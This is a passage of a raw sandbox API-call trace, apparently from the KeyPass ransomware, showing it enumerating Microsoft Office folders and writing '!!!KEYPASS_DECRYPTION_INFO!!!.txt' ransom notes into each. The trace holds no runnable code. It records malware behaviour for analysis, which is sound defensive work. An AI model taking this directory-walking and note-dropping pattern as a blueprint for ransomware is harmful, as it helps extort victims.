Drivers\\Salesforce\\lib\\LibCurl64.DllA\\libcurl.dll") returned=".dll" [0262.729] FindNextFileW (in: hFindFile=0x4e2ba08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0262.729] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\LibCurl64.DllA\\libcurl64.dlla.manifest") returned=".manifest" [0262.729] FindNextFileW (in: hFindFile=0x4e2ba08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0262.729] FindNextFileW (in: hFindFile=0x4e2b888, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0262.729] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0262.729] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4e30038 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0262.729] GetLastError () returned 0x3f0 [0262.729] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\OpenSSL64.DllA\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\OpenSSL64.DllA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0262.729] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\OpenSSL64.DllA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0262.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\OpenSSL64.DllA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\odbc drivers\\salesforce\\lib\\openssl64.dlla\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb6c [0263.266] GetFileType (hFile=0xb6c) returned 0x1 [0263.266] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0263.266] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0263.266] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0263.266] WriteFile (in: hFile=0xb6c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0263.267] WriteFile (in: hFile=0xb6c, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0263.267] CloseHandle (hObject=0xb6c) returned 1 [0263.267] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\OpenSSL64.DllA\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x4e2bc88 [0263.268] FindNextFileW (in: hFindFile=0x4e2bc88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0263.268] FindNextFileW (in: hFindFile=0x4e2bc88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0263.268] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\OpenSSL64.DllA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0263.268] FindNextFileW (in: hFindFile=0x4e2bc88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0263.268] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\OpenSSL64.DllA\\libeay32.dll") returned=".dll" [0263.268] FindNextFileW (in: hFindFile=0x4e2bc88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0263.268] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\OpenSSL64.DllA\\openssl64.dlla.manifest") returned=".manifest" [0263.268] FindNextFileW (in: hFindFile=0x4e2bc88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0263.268] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\OpenSSL64.DllA\\ssleay32.dll") returned=".dll" [0263.268] FindNextFileW (in: hFindFile=0x4e2bc88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0263.268] FindNextFileW (in: hFindFile=0x4e2b888, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0263.268] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\sbicudt53_64.dll") returned=".dll" [0263.268] FindNextFileW (in: hFindFile=0x4e2b888, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0263.268] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\sbicuin53_64.dll") returned=".dll" [0263.268] FindNextFileW (in: hFindFile=0x4e2b888, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0263.268] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\sbicuuc53_64.dll") returned=".dll" [0263.268] FindNextFileW (in: hFindFile=0x4e2b888, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0263.268] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\sfodbc_sb64.dll") returned=".dll" [0263.268] FindNextFileW (in: hFindFile=0x4e2b888, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0263.268] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\zlibwapi.dll") returned=".dll" [0263.268] FindNextFileW (in: hFindFile=0x4e2b888, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0263.268] FindNextFileW (in: hFindFile=0x4e2b948, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0263.268] FindNextFileW (in: hFindFile=0x4e2b988, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0263.269] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC Drivers\\salesforce.ini") returned=".ini" [0263.269] FindNextFileW (in: hFindFile=0x4e2b988, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0263.269] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0263.269] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBC32.DLL") returned=".DLL" [0263.269] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0263.269] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ODBCTRAC.DLL") returned=".DLL" [0263.269] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0263.269] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\officebackgroundtaskhandler.exe") returned=".exe" [0263.269] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0263.269] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\officestoragehost.dll") returned=".dll" [0263.269] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0263.269] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OFFRHD.DLL") returned=".DLL" [0263.269] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0263.269] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OFFSYM.TTF") returned=".TTF" [0263.269] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0263.269] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OFFSYMB.TTF") returned=".TTF" [0263.269] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0263.269] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OFFSYML.TTF") returned=".TTF" [0263.269] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0263.269] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OFFSYMSB.TTF") returned=".TTF" [0263.269] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0263.269] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OFFSYMSL.TTF") returned=".TTF" [0263.269] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0263.269] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OFFSYMXL.TTF") returned=".TTF" [0263.269] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0263.269] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OIMG.DLL") returned=".DLL" [0263.269] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0263.270] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OLCFG.EXE") returned=".EXE" [0263.270] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0263.270] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OLKFSTUB.DLL") returned=".DLL" [0263.270] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0263.270] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OLMAPI32.DLL") returned=".DLL" [0263.270] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0263.270] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OMICAUT.DLL") returned=".DLL" [0263.270] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0263.270] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OMML2MML.XSL") returned=".XSL" [0263.270] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0263.270] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OMRAUT.DLL") returned=".DLL" [0263.270] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0263.270] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OMSMAIN.DLL") returned=".DLL" [0263.270] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0263.270] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OMSXP32.DLL") returned=".DLL" [0263.270] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0263.313] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONBttnIE.dll") returned=".dll" [0263.313] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0263.313] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONBttnIELinkedNotes.dll") returned=".dll" [0263.313] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0263.313] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONBttnOL.dll") returned=".dll" [0263.313] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0263.313] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONBttnPPT.dll") returned=".dll" [0263.313] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0263.314] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONBttnWD.dll") returned=".dll" [0263.314] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0263.314] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0263.314] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0263.314] GetLastError () returned 0x3f0 [0263.314] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OneNote\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OneNote\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0263.314] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OneNote\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0263.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OneNote\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenote\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb7c [0264.393] GetFileType (hFile=0xb7c) returned 0x1 [0264.394] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0264.394] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0264.394] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0264.394] WriteFile (in: hFile=0xb7c, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0264.395] WriteFile (in: hFile=0xb7c, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0264.395] CloseHandle (hObject=0xb7c) returned 1 [0264.395] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OneNote\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x4e2bbc8 [0264.395] FindNextFileW (in: hFindFile=0x4e2bbc8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.395] FindNextFileW (in: hFindFile=0x4e2bbc8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.395] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OneNote\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0264.395] FindNextFileW (in: hFindFile=0x4e2bbc8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.396] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OneNote\\prnms006.inf") returned=".inf" [0264.396] FindNextFileW (in: hFindFile=0x4e2bbc8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.396] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OneNote\\prnSendToOneNote.cat") returned=".cat" [0264.396] FindNextFileW (in: hFindFile=0x4e2bbc8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.396] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OneNote\\prnSendToOneNote_win7.cat") returned=".cat" [0264.396] FindNextFileW (in: hFindFile=0x4e2bbc8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.396] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OneNote\\prnSendToOneNote_win7.inf") returned=".inf" [0264.396] FindNextFileW (in: hFindFile=0x4e2bbc8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.396] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OneNote\\SendToOneNote-manifest.ini") returned=".ini" [0264.396] FindNextFileW (in: hFindFile=0x4e2bbc8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.396] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OneNote\\SendToOneNote-PipelineConfig.xml") returned=".xml" [0264.396] FindNextFileW (in: hFindFile=0x4e2bbc8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.396] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OneNote\\SendToOneNote.gpd") returned=".gpd" [0264.396] FindNextFileW (in: hFindFile=0x4e2bbc8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.396] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OneNote\\SendToOneNote.ini") returned=".ini" [0264.396] FindNextFileW (in: hFindFile=0x4e2bbc8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.396] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OneNote\\SendToOneNoteFilter.dll") returned=".dll" [0264.396] FindNextFileW (in: hFindFile=0x4e2bbc8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.396] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OneNote\\SendToOneNoteNames.gpd") returned=".gpd" [0264.396] FindNextFileW (in: hFindFile=0x4e2bbc8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0264.396] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.396] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.EXE") returned=".EXE" [0264.396] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.396] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.VisualElementsManifest.xml") returned=".xml" [0264.396] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.397] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTEM.EXE") returned=".EXE" [0264.397] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.397] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONFILTER.DLL") returned=".DLL" [0264.397] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.397] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONLNTCOMLIB.DLL") returned=".DLL" [0264.397] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.397] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONMAIN.DLL") returned=".DLL" [0264.397] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.397] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONPPTAddin.dll") returned=".dll" [0264.397] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.397] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONRES.DLL") returned=".DLL" [0264.397] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.397] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONWordAddin.dll") returned=".dll" [0264.397] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.397] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OpenXMLUtils.dll") returned=".dll" [0264.397] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.397] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGCHART.DLL") returned=".DLL" [0264.397] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.397] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGCHART.EXE") returned=".EXE" [0264.397] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.397] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGCHWIZ.DLL") returned=".DLL" [0264.397] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.397] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGWIZ.EXE") returned=".EXE" [0264.397] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.397] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORMELEMS.DLL") returned=".DLL" [0264.397] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.397] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORMMODEL.MDL") returned=".MDL" [0264.397] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.398] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OSF.DLL") returned=".DLL" [0264.398] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.398] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0264.398] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0264.398] GetLastError () returned 0x3f0 [0264.398] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\osfFPA\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\osfFPA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0264.398] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\osfFPA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0264.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\osfFPA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\osffpa\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb80 [0264.479] GetFileType (hFile=0xb80) returned 0x1 [0264.479] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0264.480] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0264.480] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0264.480] WriteFile (in: hFile=0xb80, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0264.481] WriteFile (in: hFile=0xb80, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0264.481] CloseHandle (hObject=0xb80) returned 1 [0264.481] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\osfFPA\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x4e2ba48 [0264.481] FindNextFileW (in: hFindFile=0x4e2ba48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.481] FindNextFileW (in: hFindFile=0x4e2ba48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.481] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\osfFPA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0264.481] FindNextFileW (in: hFindFile=0x4e2ba48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.481] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft 